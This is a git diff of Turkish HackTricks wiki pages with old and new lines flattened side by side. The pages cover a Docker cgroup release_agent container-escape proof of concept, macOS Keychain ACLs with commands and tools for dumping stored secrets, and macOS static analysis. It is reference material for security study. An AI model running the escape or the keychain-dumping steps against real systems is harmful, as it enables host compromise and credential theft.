GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> **Daha fazla ayrıntı için** [**orijinal blog yazısına**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) **bakın.** Bu sadece bir özet:
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
**Daha fazla ayrıntı için** [**orijinal blog gönderisine**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** başvurun.** Bu sadece bir özet:
Orijinal PoC: Orijinal PoC:
```shell ```shell
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
``` ```
**Kavramın Kanıtı (PoC)**, cgroups'ı sömürmek için bir yöntemi gösterir. Bu yöntem, bir `release_agent` dosyası oluşturarak ve onun çağrılmasını tetikleyerek konteyner ana bilgisayarında keyfi komutları yürütmeyi amaçlar. İşte dahil olan adımların ayrıntılııklaması: The proof of concept (PoC) cgroups'ı istismar etmek için bir `release_agent` dosyası oluşturarak ve bunun çağrılmasını tetikleyerek konteyner ana bilgisayarında rastgele komutlar çalıştırma yöntemini göstermektedir. İşte ilgili adımların bir dökümü:
1. **Ortamı Hazırlama:** 1. **Ortamı Hazırlayın:**
* `cgroup` için bir bağlama noktası olarak hizmet verecek `/tmp/cgrp` adlı bir dizin oluşturulur. * cgroup için bir montaj noktası olarak hizmet vermesi için `/tmp/cgrp` dizini oluşturulur.
* RDMA cgroup denetleyicisi bu dizine bağlanır. RDMA denetleyicisinin bulunmaması durumunda, alternatif olarak `memory` cgroup denetleyicisinin kullanılması önerilir. * RDMA cgroup denetleyicisi bu dizine monte edilir. RDMA denetleyicisi yoksa, alternatif olarak `memory` cgroup denetleyicisinin kullanılması önerilir.
```shell ```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
``` ```
2. **Çocuk Cgroup'u Kurulumu:** 2. **Çocuk Cgroup'u Kurun:**
* Bağlanmış cgroup dizini içinde "x" adında bir çocuk cgroup oluşturulur. * Montelenmiş cgroup dizini içinde "x" adında bir çocuk cgroup oluşturulur.
* "x" cgroup için bildirimler, notify\_on\_release dosyasına 1 yazılarak etkinleştirilir. * "x" cgroup'u için bildirimler, notify\_on\_release dosyasına 1 yazarak etkinleştirilir.
```shell ```shell
echo 1 > /tmp/cgrp/x/notify_on_release echo 1 > /tmp/cgrp/x/notify_on_release
``` ```
3. **Yayınlayıcı Etkeni Yapılandırma:** 3. **Release Agent'ı Yapılandırın:**
* Konteynerin ana makinedeki yolu /etc/mtab dosyasından elde edilir. * Konteynerin ana makinedeki yolu /etc/mtab dosyasından alınır.
* Ardından cgroup'ın release\_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır. * Ardından, cgroup'un release\_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştıracak şekilde yapılandırılır.
```shell ```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo "$host_path/cmd" > /tmp/cgrp/release_agent
``` ```
4. **/cmd Betiği Oluşturun ve Yapılandırın:** 4. **/cmd Scriptini Oluşturun ve Yapılandırın:**
* /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya konteyner içinde yönlendirilir. Ana bilgisayar üzerinde /output'un tam yolu belirtilir. * /cmd scripti konteyner içinde oluşturulur ve ps aux komutunu çalıştıracak şekilde yapılandırılır, çıktıyı konteynerde /output adlı bir dosyaya yönlendirir. /output'un ana makinedeki tam yolu belirtilir.
```shell ```shell
echo '#!/bin/sh' > /cmd echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd chmod a+x /cmd
``` ```
5. **Saldırıyı Tetikle:** 5. **Saldırıyı Tetikleme:**
* Bir işlem "x" çocuk cgroup içinde başlatılır ve hemen sonlandırılır. * "x" çocuk cgroup içinde bir işlem başlatılır ve hemen sonlandırılır.
* Bu, `release_agent` (the /cmd script) tetikler ve ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içinde /output'a yazar. * Bu, `release_agent`'i (the /cmd script) tetikler, bu da host üzerinde ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar.
```shell ```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
``` ```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking püf noktalarını paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,33 +1,20 @@
# macOS Anahtar Zinciri # macOS Anahtar Zinciri
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek. * Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edildiğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Anahtar Zincirleri ## Anahtar Zincirleri
@ -36,33 +23,33 @@ Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
### Şifre Anahtar Zinciri Erişimi ### Şifre Anahtar Zinciri Erişimi
Bu dosyalar, doğrudan koruma içermemekle birlikte **indirilebilir**, şifrelenmiştir ve **şifresiz metin şifresinin çözülmesi için kullanıcının şifresini** gerektirir. Şifre çözme için [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç kullanılabilir. Bu dosyalar, doğrudan koruma içermemelerine rağmen **indirilebilir**, şifrelenmiştir ve **şifresinin çözülmesi için kullanıcının düz metin şifresini** gerektirir. Şifre çözme için [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç kullanılabilir.
## Anahtar Zinciri Girişleri Koruma ## Anahtar Zinciri Girişleri Koruma
### ACL'ler ### ACL'ler
Anahtar zincirindeki her giriş, çeşitli eylemleri gerçekleştirebilecek kişileri belirleyen **Erişim Kontrol Listeleri (ACL'ler)** ile yönetilmektedir: Anahtar zincirindeki her giriş, çeşitli eylemleri gerçekleştirebilecek kişileri belirleyen **Erişim Kontrol Listeleri (ACL'ler)** ile yönetilir:
* **ACLAuhtorizationExportClear**: Sahip olanın sıfır metin gizliliğini almasına izin verir. * **ACLAuhtorizationExportClear**: Sahip olanın sıfır metin gizliliğini almasına izin verir.
* **ACLAuhtorizationExportWrapped**: Sahip olanın başka bir sağlanan şifre ile şifrelenmiş sıfır metin almasına izin verir. * **ACLAuhtorizationExportWrapped**: Sahip olanın başka bir sağlanan şifre ile şifrelenmiş sıfır metin almasına izin verir.
* **ACLAuhtorizationAny**: Sahip olanın herhangi bir eylemi gerçekleştirmesine izin verir. * **ACLAuhtorizationAny**: Sahip olanın herhangi bir eylemi gerçekleştirmesine izin verir.
ACL'ler, bu eylemleri istem olmadan gerçekleştirebilecek **güvenilir uygulamalar listesi** ile birlikte gelir. Bu şunlar olabilir: ACL'ler, bu eylemleri istem olmadan gerçekleştirebilecek **güvenilir uygulamalar** listesini de içerir. Bu şunlar olabilir:
* **N`il`** (yetki gerektirmiyor, **herkes güvenilir**) * **N`il`** (yetki gerektirmiyor, **herkes güvenilir**)
* **Boş** bir liste (**kimse** güvenilir değil) * **Boş** bir liste (**hiç kimse** güvenilir değil)
* **Belirli** **uygulamalar** listesi. * Belirli **uygulamaların** **listesi**.
Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir, bu da **teamid, apple** ve **cdhash**'i tanımlamak için kullanılır. Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir; bu, **teamid, apple** ve **cdhash**'i tanımlamak için kullanılır.
* Eğer **teamid** belirtilmişse, **girişin** değerine **istem olmadan** erişmek için kullanılan uygulamanın **aynı teamid**'ye sahip olması gerekir. * Eğer **teamid** belirtilmişse, **giriş** değerine **istem olmadan** erişmek için kullanılan uygulamanın **aynı teamid**'ye sahip olması gerekir.
* Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir. * Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir.
* Eğer **cdhash** belirtilmişse, **uygulama** belirli bir **cdhash**'e sahip olmalıdır. * Eğer **cdhash** belirtilmişse, **uygulama** belirli bir **cdhash**'e sahip olmalıdır.
### Anahtar Zinciri Girişi Oluşturma ### Anahtar Zinciri Girişi Oluşturma
Bir **yeni** **giriş** oluşturulduğunda **`Keychain Access.app`** kullanılarak, aşağıdaki kurallar geçerlidir: Bir **yeni** **giriş** **`Keychain Access.app`** kullanılarak oluşturulduğunda, aşağıdaki kurallar geçerlidir:
* Tüm uygulamalar şifreleyebilir. * Tüm uygulamalar şifreleyebilir.
* **Hiçbir uygulama** dışa aktaramaz/şifre çözemez (kullanıcıyı istemeden). * **Hiçbir uygulama** dışa aktaramaz/şifre çözemez (kullanıcıyı istemeden).
@ -100,7 +87,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
### APIs ### APIs
{% hint style="success" %} {% hint style="success" %}
**Anahtar zinciri numaralandırma ve** **istemci istemeden** **gizli bilgilerin dökümü** [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracıyla yapılabilir. **Anahtar zinciri numaralandırması ve** **istemci istemi oluşturmayacak** **gizli bilgilerin dökümü** [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracıyla yapılabilir.
{% endhint %} {% endhint %}
Her anahtar zinciri girişi hakkında **bilgi** listeleyin ve alın: Her anahtar zinciri girişi hakkında **bilgi** listeleyin ve alın:
@ -126,15 +113,15 @@ Verileri dışa aktarın:
* API **`SecKeychainItemCopyContent`** düz metni alır * API **`SecKeychainItemCopyContent`** düz metni alır
* API **`SecItemExport`** anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifre ayarlamanız gerekebilir * API **`SecItemExport`** anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifre ayarlamanız gerekebilir
Ve bu, **istemci istemeden bir gizli bilgiyi dışa aktarabilmek için** **gereksinimlerdir**: Ve bu, **istemci istemi olmadan bir gizli bilgiyi dışa aktarabilmek için** **gereksinimlerdir**:
* Eğer **1+ güvenilir** uygulama listelenmişse: * Eğer **1+ güvenilir** uygulama listelenmişse:
* Uygun **yetkilere** ihtiyaç vardır (**`Nil`**, veya gizli bilgilere erişim için yetkilendirme listesinde **yer almak**) * Uygun **yetkilere** ihtiyaç vardır (**`Nil`**, veya gizli bilgiye erişim için yetkilendirme listesinde **yer almak**)
* **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır * **PartitionID** ile eşleşen bir kod imzasına ihtiyaç vardır
* Bir **güvenilir uygulama** ile eşleşen kod imzasına ihtiyaç vardır (veya doğru KeychainAccessGroup'un üyesi olmalısınız) * Bir **güvenilir uygulama** ile eşleşen bir kod imzasına ihtiyaç vardır (veya doğru KeychainAccessGroup'un üyesi olmalısınız)
* Eğer **tüm uygulamalar güvenilir** ise: * Eğer **tüm uygulamalar güvenilir** ise:
* Uygun **yetkilere** ihtiyaç vardır * Uygun **yetkilere** ihtiyaç vardır
* **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır * **PartitionID** ile eşleşen bir kod imzasına ihtiyaç vardır
* Eğer **PartitionID** yoksa, bu gerekli değildir * Eğer **PartitionID** yoksa, bu gerekli değildir
{% hint style="danger" %} {% hint style="danger" %}
@ -146,24 +133,13 @@ Eğer **apple** **partitionID**'de belirtilmişse, **`osascript`** ile erişebil
### İki ek özellik ### İki ek özellik
* **Gizli**: Bu, girişi **UI** Anahtar Zinciri uygulamasından **gizlemek** için bir boolean bayraktır * **Gizli**: Bu, girişi **UI** Anahtar Zinciri uygulamasından **gizlemek** için bir boolean bayraktır
* **Genel**: **meta verileri** depolamak içindir (yani ŞİFRELİ DEĞİLDİR) * **Genel**: **Meta verileri** depolamak içindir (yani ŞİFRELİ DEĞİLDİR)
* Microsoft, hassas uç noktaya erişim için tüm yenileme jetonlarını düz metin olarak saklıyordu. * Microsoft, hassas uç noktaya erişim için tüm yenileme jetonlarını düz metin olarak saklıyordu.
## Referanslar ## Referanslar
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **çözümlenip** **çalıntı kötü amaçlı yazılımlar** tarafından etkilenip etkilenmediğini kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -174,7 +150,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -9,25 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Statik Analiz ## Statik Analiz
@ -115,11 +102,11 @@ ldid -S/tmp/entl.xml <binary>
### SuspiciousPackage ### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) , **.pkg** dosyalarını (kurulum dosyaları) incelemek ve yüklemeden önce içeriğini görmek için yararlı bir araçtır.\ [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) , **.pkg** dosyalarını (kurulum dosyaları) incelemek ve yüklemeden önce içeriğini görmek için yararlı bir araçtır.\
Bu kurulum dosyaları, kötü amaçlı yazılım yazarlarının genellikle kötüye kullandığı `preinstall` ve `postinstall` bash betikleri içerir, bu da **kötü amaçlı yazılımın** **sürekliliğini** sağlar. Bu kurulum dosyaları, kötü amaçlı yazılım yazarlarının genellikle kötü amaçlı yazılımı **sürdürmek** için kötüye kullandığı `preinstall` ve `postinstall` bash betikleri içerir.
### hdiutil ### hdiutil
Bu araç, herhangi bir şeyi çalıştırmadan önce Apple disk görüntülerini (**.dmg**) **monte** etmeye olanak tanır: Bu araç, herhangi bir şeyi çalıştırmadan önce Apple disk görüntülerini (**.dmg**) incelemek için **monte** etmeye olanak tanır:
```bash ```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
``` ```
@ -129,7 +116,7 @@ It will be mounted in `/Volumes`
* Yüksek entropi kontrolü * Yüksek entropi kontrolü
* String'leri kontrol et (anlaşılır string yoksa, packed) * String'leri kontrol et (anlaşılır string yoksa, packed)
* MacOS için UPX packer, "\_\_XHDR" adında bir bölüm oluşturur * MacOS için UPX packer, "\_\_XHDR" adlı bir bölüm oluşturur
## Statik Objective-C analizi ## Statik Objective-C analizi
@ -148,13 +135,13 @@ Bu isimlerin, ikilinin tersine çevrilmesini zorlaştırmak için obfuscate edil
### Fonksiyon çağrısı ### Fonksiyon çağrısı
Bir ikilide Objective-C kullanan bir fonksiyon çağrıldığında, derlenmiş kod o fonksiyonu çağırmak yerine **`objc_msgSend`** çağrısını yapar. Bu, nihai fonksiyonu çağıracaktır: Bir ikili dosyada Objective-C kullanan bir fonksiyon çağrıldığında, derlenmiş kod o fonksiyonu çağırmak yerine **`objc_msgSend`** çağrısını yapar. Bu, nihai fonksiyonu çağıracaktır:
![](<../../../.gitbook/assets/image (305).png>) ![](<../../../.gitbook/assets/image (305).png>)
Bu fonksiyonun beklediği parametreler şunlardır: Bu fonksiyonun beklediği parametreler şunlardır:
* İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır, oysa bir örnek metodu için, self sınıfın bir nesnesi olarak oluşturulmuş bir örneğe işaret edecektir. * İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır, oysa bir örnek metodu için self, sınıfın bir örneğine işaret edecektir.
* İkinci parametre (**op**), "mesajı işleyen metodun seçicisidir". Yine, daha basit bir ifadeyle, bu sadece **metodun adıdır.** * İkinci parametre (**op**), "mesajı işleyen metodun seçicisidir". Yine, daha basit bir ifadeyle, bu sadece **metodun adıdır.**
* Kalan parametreler, metodun gerektirdiği herhangi bir **değerdir** (op). * Kalan parametreler, metodun gerektirdiği herhangi bir **değerdir** (op).
@ -168,19 +155,19 @@ x64:
| **Argument** | **Register** | **(for) objc\_msgSend** | | **Argument** | **Register** | **(for) objc\_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1st argument** | **rdi** | **self: metodun çağrıldığı nesne** | | **1st argument** | **rdi** | **self: methodun çağrıldığı nesne** |
| **2nd argument** | **rsi** | **op: metodun adı** | | **2nd argument** | **rsi** | **op: metodun adı** |
| **3rd argument** | **rdx** | **metoda 1. argüman** | | **3rd argument** | **rdx** | **metodun 1. argümanı** |
| **4th argument** | **rcx** | **metoda 2. argüman** | | **4th argument** | **rcx** | **metodun 2. argümanı** |
| **5th argument** | **r8** | **metoda 3. argüman** | | **5th argument** | **r8** | **metodun 3. argümanı** |
| **6th argument** | **r9** | **metoda 4. argüman** | | **6th argument** | **r9** | **metodun 4. argümanı** |
